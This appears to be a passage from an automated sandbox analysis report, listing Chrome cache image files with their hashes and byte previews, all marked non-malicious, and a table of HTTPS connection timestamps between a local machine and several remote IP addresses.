SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3737
Entropy (8bit):	7.906671945599965
Encrypted:	false
SSDEEP:	96:OSDZ/I09Da01l+gmkyTt6Hk8nTqviwYZP2H51:OSDS0tKg9E05Tqviw6451
MD5:	1626F52ADDB7C56FE3679D82108C62E9
SHA1:	2B414092D66ECFF528950093A655F755C3C7F3B5
SHA-256:	AE9F6C61E25D15882BF57BDE193D10D375BD315C9741CABDA11D700FD1BB7DD1
SHA-512:	05548831477CC421556C404F3411F581E98A84FF2E699882CB4F5DCA17D1C5F77B55ED2B8211EEC32D0A4317BE1C4EBC636277F840262491B753415F6F198276
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Preview:	.PNG........IHDR...`.........H!Y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.459664429384581
Encrypted:	false
SSDEEP:	24:5f+b0o0XxDuLHeOWXG4OZ7DAJuLHenX3bq1qvFFEHJS8Bsdcgt5iv6QBO25+b0:5fIFuERAZgCFSH5Bsd9Cvty0
MD5:	BA4E51640291BB03CBD41951D9672584
SHA1:	0BBB630D63262DD66D2FDD0F7D37E8661A410075
SHA-256:	3520B13DD1A7954829EB15CD6ABAFCE4F908EA5C624B9DE40C25CCAEFF74F87B
SHA-512:	244A8848BD0D21B9E6B608244346FD4837E513ACF88B2C9599F921530AD440C9737C2B33E253CFBDC163453C9114F15B669410B1C55109DE44A883A5181EF564
Malicious:	false
Reputation:	low
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C....................................................................... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......!.k.TZ..$.\...[.2....1h.q.I+a~...W..em.x...5....t?...n.MW..V.a.-.. .....u.Q.z..r+...r.%....#.JX\...C....9E^V...e....4$.u...d.....w..o..<K../.....&........6p.>.5......}:+......8.3.........i......e...8.3.....j)..#.'{.7-.,%z..E..Q.....xG.......4E...E'.a2..A....M..............~6.>.u.W..o..~.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 13:20:37.460433006 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 6, 2024 13:20:38.069875956 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 6, 2024 13:20:39.210474968 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:39.210481882 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:39.272958994 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 6, 2024 13:20:39.288685083 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:41.679162025 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 6, 2024 13:20:45.708949089 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 6, 2024 13:20:46.163258076 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 6, 2024 13:20:46.592595100 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 6, 2024 13:20:46.960774899 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 6, 2024 13:20:47.614749908 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:47.614819050 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:47.614902020 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:47.616071939 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:47.616106033 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.091535091 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.091916084 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.091943979 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.093142033 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.093211889 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.094338894 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.094405890 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.094561100 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.094569921 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.166213989 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.414872885 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415121078 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415210009 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415298939 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415328026 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.415416002 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415431976 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.415565014 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415623903 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.415658951 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415760040 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.415812016 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.415828943 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.419469118 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.419538021 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.419553041 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.462683916 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.462708950 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.462711096 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 6, 2024 13:20:48.503108978 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503222942 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503293037 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.503313065 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503345013 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503401041 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.503480911 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503526926 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.503568888 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503865957 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.503925085 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.506128073 CEST	49704	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.506150007 CEST	443	49704	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.822192907 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:48.823544979 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:48.889703035 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:48.980281115 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.980387926 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.980485916 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.981125116 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:48.981158972 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:48.989015102 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:48.989053965 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:48.989172935 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:48.989448071 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:48.989464998 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.441386938 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.441945076 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.441975117 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.443203926 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.443984032 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.444179058 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.444305897 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.487446070 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.522953987 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:49.522989035 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:49.523040056 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:49.523663044 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:49.523679972 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:49.628542900 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.629064083 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.629080057 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.629955053 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.630018950 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.631745100 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.631803036 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.632477045 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.632487059 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.679344893 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.931749105 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.931931019 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.931989908 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.933315992 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.933341980 CEST	443	49707	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:49.933351994 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.933391094 CEST	49707	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:49.942272902 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.942300081 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.942310095 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.942328930 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.942353964 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.942370892 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.942390919 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:49.942410946 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:49.942440987 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.024538040 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.024565935 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.024591923 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.024626017 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.024640083 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.024682999 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.034687042 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.034748077 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.034756899 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.034775019 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.034795046 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.034822941 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.035015106 CEST	49708	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.035031080 CEST	443	49708	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.161390066 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:50.161652088 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:50.161673069 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:50.162527084 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:50.162600040 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:50.300586939 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:50.300801992 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:50.308429003 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.308501959 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.309103966 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.309150934 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.309185028 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.309221983 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.314065933 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.314085007 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.340487957 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:50.340509892 CEST	443	49709	172.217.16.196	192.168.2.7
Oct 6, 2024 13:20:50.353943110 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.354024887 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.387017965 CEST	49709	443	192.168.2.7	172.217.16.196
Oct 6, 2024 13:20:50.516695023 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:50.516735077 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:50.517045021 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:50.520591021 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:50.520606995 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:50.543953896 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.544013023 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.544332981 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.544670105 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:50.544682980 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:50.563292980 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:50.563339949 CEST	443	49714	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:50.563483000 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:50.563807011 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:50.563819885 CEST	443	49714	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:50.798568010 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.798959970 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.798985004 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.799256086 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.799900055 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.799951077 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.800812960 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.800822973 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.813893080 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.814310074 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.814321995 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.814580917 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.815530062 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.815577030 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:50.854681015 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:50.867090940 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.031650066 CEST	443	49714	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.078072071 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.099826097 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.099872112 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.099906921 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.099941969 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.099967957 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.099971056 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.099988937 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.100099087 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.100111008 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.100347042 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.100405931 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.100438118 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.100445032 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.100621939 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.104546070 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.110799074 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.110819101 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.111092091 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.178914070 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.179379940 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.187863111 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.192142963 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.192254066 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.193006992 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.197421074 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.197443962 CEST	443	49714	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.198055983 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.198079109 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.198632002 CEST	443	49714	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.198869944 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.199130058 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.199322939 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.200320959 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.200402021 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.200655937 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.200655937 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.200742960 CEST	443	49714	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.200773954 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.200869083 CEST	49714	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.201222897 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.201232910 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.203352928 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.203423023 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.204523087 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.204729080 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.204754114 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.252595901 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.372021914 CEST	443	49698	104.98.116.138	192.168.2.7
Oct 6, 2024 13:20:51.372179985 CEST	49698	443	192.168.2.7	104.98.116.138
Oct 6, 2024 13:20:51.441148043 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 6, 2024 13:20:51.450035095 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.450071096 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.450414896 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.492775917 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.507965088 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.507989883 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.507997990 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.508012056 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.508018017 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.508021116 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.508052111 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.508093119 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.508110046 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.508140087 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.582029104 CEST	49711	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:51.582056046 CEST	443	49711	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:51.607948065 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.607971907 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.608000040 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.608030081 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.608057976 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.608078003 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.608093977 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.618103981 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.618165970 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.618176937 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.618216991 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.639179945 CEST	49713	443	192.168.2.7	104.102.49.254
Oct 6, 2024 13:20:51.639210939 CEST	443	49713	104.102.49.254	192.168.2.7
Oct 6, 2024 13:20:51.669254065 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.693131924 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.693512917 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.693543911 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.694516897 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.694572926 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.695281982 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.695339918 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.695641041 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.695660114 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:51.711406946 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.746318102 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:51.858169079 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.858372927 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.858418941 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.858432055 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.858570099 CEST	443	49712	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.858601093 CEST	443	49712	184.28.90.27	192.168.2.7
